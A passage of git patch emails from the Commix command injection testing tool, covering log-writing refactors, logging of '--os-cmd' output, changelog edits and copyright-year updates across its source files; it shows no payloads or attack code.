+ """ Add any payload in log files. """ def update_payload(filename, counter, payload): - output_file = open(filename, "a") - if not menu.options.no_logging: - if "\n" in payload: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", settings.SINGLE_WHITESPACE, _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n") - else: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + payload.replace("%20", settings.SINGLE_WHITESPACE) + "\n") - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + if "\n" in payload: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", settings.SINGLE_WHITESPACE, _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n") + else: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + payload.replace("%20", settings.SINGLE_WHITESPACE) + "\n") """ Add any executed command and @@ -172,11 +167,10 @@ def update_payload(filename, counter, payload): """ def executed_command(filename, cmd, output): try: - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + output.encode(settings.DEFAULT_CODEC).decode() + "\n") - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n") + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + output.encode(settings.DEFAULT_CODEC).decode() + "\n") except TypeError: pass diff --git a/src/utils/settings.py b/src/utils/settings.py index cab9e7cb01..60b6c75eac 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "40" +REVISION = "41" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 48fe376c0aa812f269584f64b38188efd0dcb8c8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 29 Dec 2023 09:44:22 +0200 Subject: [PATCH 384/560] Minor improvement regarding logging user-supplied command(s) (i.e. `--os-cmd` option) to a file. --- doc/CHANGELOG.md | 1 + .../blind/techniques/time_based/tb_enumeration.py | 2 +- src/core/injections/controller/checks.py | 14 ++++++++++---- .../techniques/classic/cb_enumeration.py | 2 +- .../techniques/eval_based/eb_enumeration.py | 2 +- .../techniques/file_based/fb_enumeration.py | 2 +- .../techniques/tempfile_based/tfb_enumeration.py | 2 +- src/core/modules/shellshock/shellshock.py | 2 +- src/utils/settings.py | 2 +- 9 files changed, 18 insertions(+), 11 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 3ac338b79a..c1d32a3c33 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.9 (TBA) +* Revised: Minor improvement regarding logging user-supplied commands (i.e. `--os-cmd` option) to a file. * Revised: Improvement regarding parsing HTTP requests through Tor HTTP proxy (i.e. `--tor` switch). * Added: New (hidden) option `--ignore-stdin` regarding ignoring STDIN input. (via @n00b-bot) * Revised: Minor improvement regarding successfully completing the scanning process (i.e. in case that parameters with anti-CSRF tokens are omitted). (via @xerxoria) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 867e8dae3f..42c317f3e4 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -197,7 +197,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) check_how_long = 0 - checks.print_single_os_cmd(cmd, output) + checks.print_single_os_cmd(cmd, output, filename) return check_how_long, output """ diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7dc809a47d..32c3092646 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2211,10 +2211,16 @@ def print_passes(sys_passes, filename, _, alter_shell): """ Print single OS command """ -def print_single_os_cmd(cmd, shell): - if len(shell) > 1: +def print_single_os_cmd(cmd, output, filename): + if len(output) > 1: _ = "'" + cmd + "' execution output" - print(settings.print_retrieved_data(_, shell)) + print(settings.print_retrieved_data(_, output)) + try: + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "User-supplied command " + _ + ": " + output.encode(settings.DEFAULT_CODEC).decode() + "\n") + except TypeError: + pass else: err_msg = common.invalid_cmd_output(cmd) print(settings.print_error_msg(err_msg)) @@ -2546,4 +2552,4 @@ def define_py_working_dir(): pass settings.USER_DEFINED_PYTHON_DIR = True -# eof +# eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 7784d6d607..414bd21e4f 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -247,7 +247,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_single_os_cmd(cmd, shell) + checks.print_single_os_cmd(cmd, shell, filename) """ Check the defined options diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index a2cddc4b86..c4a9655e5d 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -250,7 +250,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_single_os_cmd(cmd, shell) + checks.print_single_os_cmd(cmd, shell, filename) """ Check the defined options diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 9984a745f9..933b610907 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -215,7 +215,7 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_single_os_cmd(cmd, shell) + checks.print_single_os_cmd(cmd, shell, filename) """ Check the defined options diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 213c1aa453..7b9df6d0bc 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -203,7 +203,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) check_how_long = 0 - checks.print_single_os_cmd(cmd, output) + checks.print_single_os_cmd(cmd, output, filename) return check_how_long, output """ diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 7f2f4914b9..789a6a3744 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -408,7 +408,7 @@ def shellshock_handler(url, http_request_method, filename): cmd = menu.options.os_cmd checks.print_enumenation().print_single_os_cmd_msg(cmd) shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - checks.print_single_os_cmd(cmd, shell) + checks.print_single_os_cmd(cmd, shell, filename) # Pseudo-Terminal shell try: diff --git a/src/utils/settings.py b/src/utils/settings.py index 60b6c75eac..04796051a9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "41" +REVISION = "42" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 2566bf30b21cf2ec966bb88c8af7c677eed5522e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 8 Jan 2024 08:55:26 +0200 Subject: [PATCH 385/560] Update CHANGELOG.md --- doc/CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index c1d32a3c33..2abc698a79 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,5 +1,5 @@ ## Version 3.9 (TBA) -* Revised: Minor improvement regarding logging user-supplied commands (i.e. `--os-cmd` option) to a file. +* Revised: Minor improvement regarding logging user-supplied command(s) (i.e. `--os-cmd` option) to a file. * Revised: Improvement regarding parsing HTTP requests through Tor HTTP proxy (i.e. `--tor` switch). * Added: New (hidden) option `--ignore-stdin` regarding ignoring STDIN input. (via @n00b-bot) * Revised: Minor improvement regarding successfully completing the scanning process (i.e. in case that parameters with anti-CSRF tokens are omitted). (via @xerxoria) From 8c2eab499d02d6a3a79cdec83459fa7a3a252906 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 11 Jan 2024 09:14:49 +0200 Subject: [PATCH 386/560] Update copyright year --- LICENSE.txt | 2 +- commix.py | 2 +- setup.py | 2 +- src/__init__.py | 2 +- src/core/__init__.py | 2 +- src/core/compat.py | 2 +- src/core/convert.py | 2 +- src/core/injections/__init__.py | 2 +- src/core/injections/blind/__init__.py | 2 +- src/core/injections/blind/techniques/__init__.py | 2 +- src/core/injections/blind/techniques/time_based/__init__.py | 2 +- .../blind/techniques/time_based/tb_enumeration.py | 2 +- .../blind/techniques/time_based/tb_file_access.py | 2 +- .../injections/blind/techniques/time_based/tb_handler.py | 2 +- .../injections/blind/techniques/time_based/tb_injector.py | 2 +- .../injections/blind/techniques/time_based/tb_payloads.py | 2 +- src/core/injections/controller/__init__.py | 2 +- src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/controller.py | 2 +- src/core/injections/controller/parser.py | 2 +- src/core/injections/controller/shell_options.py | 2 +- src/core/injections/results_based/__init__.py | 2 +- src/core/injections/results_based/techniques/__init__.py | 2 +- .../injections/results_based/techniques/classic/__init__.py | 2 +- .../results_based/techniques/classic/cb_enumeration.py | 2 +- .../results_based/techniques/classic/cb_file_access.py | 2 +- .../results_based/techniques/classic/cb_handler.py | 2 +- .../results_based/techniques/classic/cb_injector.py | 2 +- .../results_based/techniques/classic/cb_payloads.py | 2 +- .../results_based/techniques/eval_based/__init__.py | 2 +- .../results_based/techniques/eval_based/eb_enumeration.py | 2 +- .../results_based/techniques/eval_based/eb_file_access.py | 2 +- .../results_based/techniques/eval_based/eb_handler.py | 2 +- .../results_based/techniques/eval_based/eb_injector.py | 2 +- .../results_based/techniques/eval_based/eb_payloads.py | 2 +- src/core/injections/semiblind/__init__.py | 2 +- src/core/injections/semiblind/techniques/__init__.py | 2 +- .../injections/semiblind/techniques/file_based/__init__.py | 2 +- .../semiblind/techniques/file_based/fb_enumeration.py | 2 +- .../semiblind/techniques/file_based/fb_file_access.py | 2 +- .../semiblind/techniques/file_based/fb_handler.py | 2 +- .../semiblind/techniques/file_based/fb_injector.py | 2 +- .../semiblind/techniques/file_based/fb_payloads.py | 2 +- .../semiblind/techniques/tempfile_based/__init__.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_enumeration.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_file_access.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_handler.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_injector.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_payloads.py | 2 +- src/core/main.py | 2 +- src/core/modules/__init__.py | 2 +- src/core/modules/modules_handler.py | 2 +- src/core/modules/shellshock/__init__.py | 2 +- src/core/requests/__init__.py | 2 +- src/core/requests/authentication.py | 2 +- src/core/requests/headers.py | 2 +- src/core/requests/parameters.py | 2 +- src/core/requests/proxy.py | 2 +- src/core/requests/redirection.py | 2 +- src/core/requests/requests.py | 2 +- src/core/requests/tor.py | 2 +- src/core/shells/__init__.py | 2 +- src/core/shells/bind_tcp.py | 2 +- src/core/shells/reverse_tcp.py | 2 +- src/core/tamper/__init__.py | 2 +- src/core/tamper/backslashes.py | 2 +- src/core/tamper/backticks.py | 2 +- src/core/tamper/base64encode.py | 2 +- src/core/tamper/caret.py | 2 +- src/core/tamper/dollaratsigns.py | 2 +- src/core/tamper/doublequotes.py | 2 +- src/core/tamper/hexencode.py | 2 +- src/core/tamper/multiplespaces.py | 2 +- src/core/tamper/nested.py | 2 +- src/core/tamper/printf2echo.py | 2 +- src/core/tamper/rev.py | 2 +- src/core/tamper/singlequotes.py | 2 +- src/core/tamper/slash2env.py | 2 +- src/core/tamper/sleep2timeout.py | 2 +- src/core/tamper/sleep2usleep.py | 2 +- src/core/tamper/space2htab.py | 2 +- src/core/tamper/space2ifs.py | 2 +- src/core/tamper/space2plus.py | 2 +- src/core/tamper/space2vtab.py | 2 +- src/core/tamper/uninitializedvariable.py | 2 +- src/core/tamper/xforwardedfor.py | 2 +- src/core/testing.py | 2 +- src/thirdparty/__init__.py | 2 +- src/utils/__init__.py | 2 +- src/utils/colors.py | 2 +- src/utils/common.py | 2 +- src/utils/crawler.py | 2 +- src/utils/install.py | 2 +- src/utils/logs.py | 2 +- src/utils/menu.py | 2 +- src/utils/purge.py | 2 +- src/utils/requirments.py | 2 +- src/utils/session_handler.py | 2 +- src/utils/settings.py | 6 +++--- src/utils/simple_http_server.py | 2 +- src/utils/update.py | 2 +- src/utils/version.py | 2 +- 102 files changed, 104 insertions(+), 104 deletions(-) diff --git a/LICENSE.txt b/LICENSE.txt index 90437c6163..44793fc81b 100644 --- a/LICENSE.txt +++ b/LICENSE.txt @@ -1,4 +1,4 @@ -Copyright (c) 2014-2023 Anastasios Stasinopoulos +Copyright (c) 2014-2024 Anastasios Stasinopoulos This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/commix.py b/commix.py index 2106755229..882ae1f024 100755 --- a/commix.py +++ b/commix.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/setup.py b/setup.py index c024e4cfa4..62f49da7fa 100644 --- a/setup.py +++ b/setup.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/__init__.py b/src/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/__init__.py +++ b/src/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/__init__.py b/src/core/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/__init__.py +++ b/src/core/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/compat.py b/src/core/compat.py index 9a0d60c0f1..c0b8a53bc5 100644 --- a/src/core/compat.py +++ b/src/core/compat.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/convert.py b/src/core/convert.py index 7f218c9f50..321bbe14d5 100644 --- a/src/core/convert.py +++ b/src/core/convert.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/__init__.py b/src/core/injections/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/__init__.py +++ b/src/core/injections/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/__init__.py b/src/core/injections/blind/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/blind/__init__.py +++ b/src/core/injections/blind/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/__init__.py b/src/core/injections/blind/techniques/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/blind/techniques/__init__.py +++ b/src/core/injections/blind/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/__init__.py b/src/core/injections/blind/techniques/time_based/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/blind/techniques/time_based/__init__.py +++ b/src/core/injections/blind/techniques/time_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 42c317f3e4..79c8795713 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 6d69f08044..e454c8625e 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 1d17bdec35..388960ec3a 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index a200291423..be29821812 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 1edd5b1b1d..b3d4ed0fe9 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/__init__.py b/src/core/injections/controller/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/controller/__init__.py +++ b/src/core/injections/controller/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 32c3092646..d92bd2c040 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 78eda416bf..9b2398ad9a 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 11e32b6490..42537e22c1 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 33f8bac32f..11717f157c 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/__init__.py b/src/core/injections/results_based/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/results_based/__init__.py +++ b/src/core/injections/results_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/__init__.py b/src/core/injections/results_based/techniques/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/results_based/techniques/__init__.py +++ b/src/core/injections/results_based/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/__init__.py b/src/core/injections/results_based/techniques/classic/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/results_based/techniques/classic/__init__.py +++ b/src/core/injections/results_based/techniques/classic/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 414bd21e4f..dcf9a71d09 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index 30fd451336..5ccfc114db 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index d23390fb86..1875809737 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index a623ac96dd..3e1f7db2fd 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index 5183a0f682..bb7160d095 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/__init__.py b/src/core/injections/results_based/techniques/eval_based/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/results_based/techniques/eval_based/__init__.py +++ b/src/core/injections/results_based/techniques/eval_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index c4a9655e5d..580951ba3b 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project 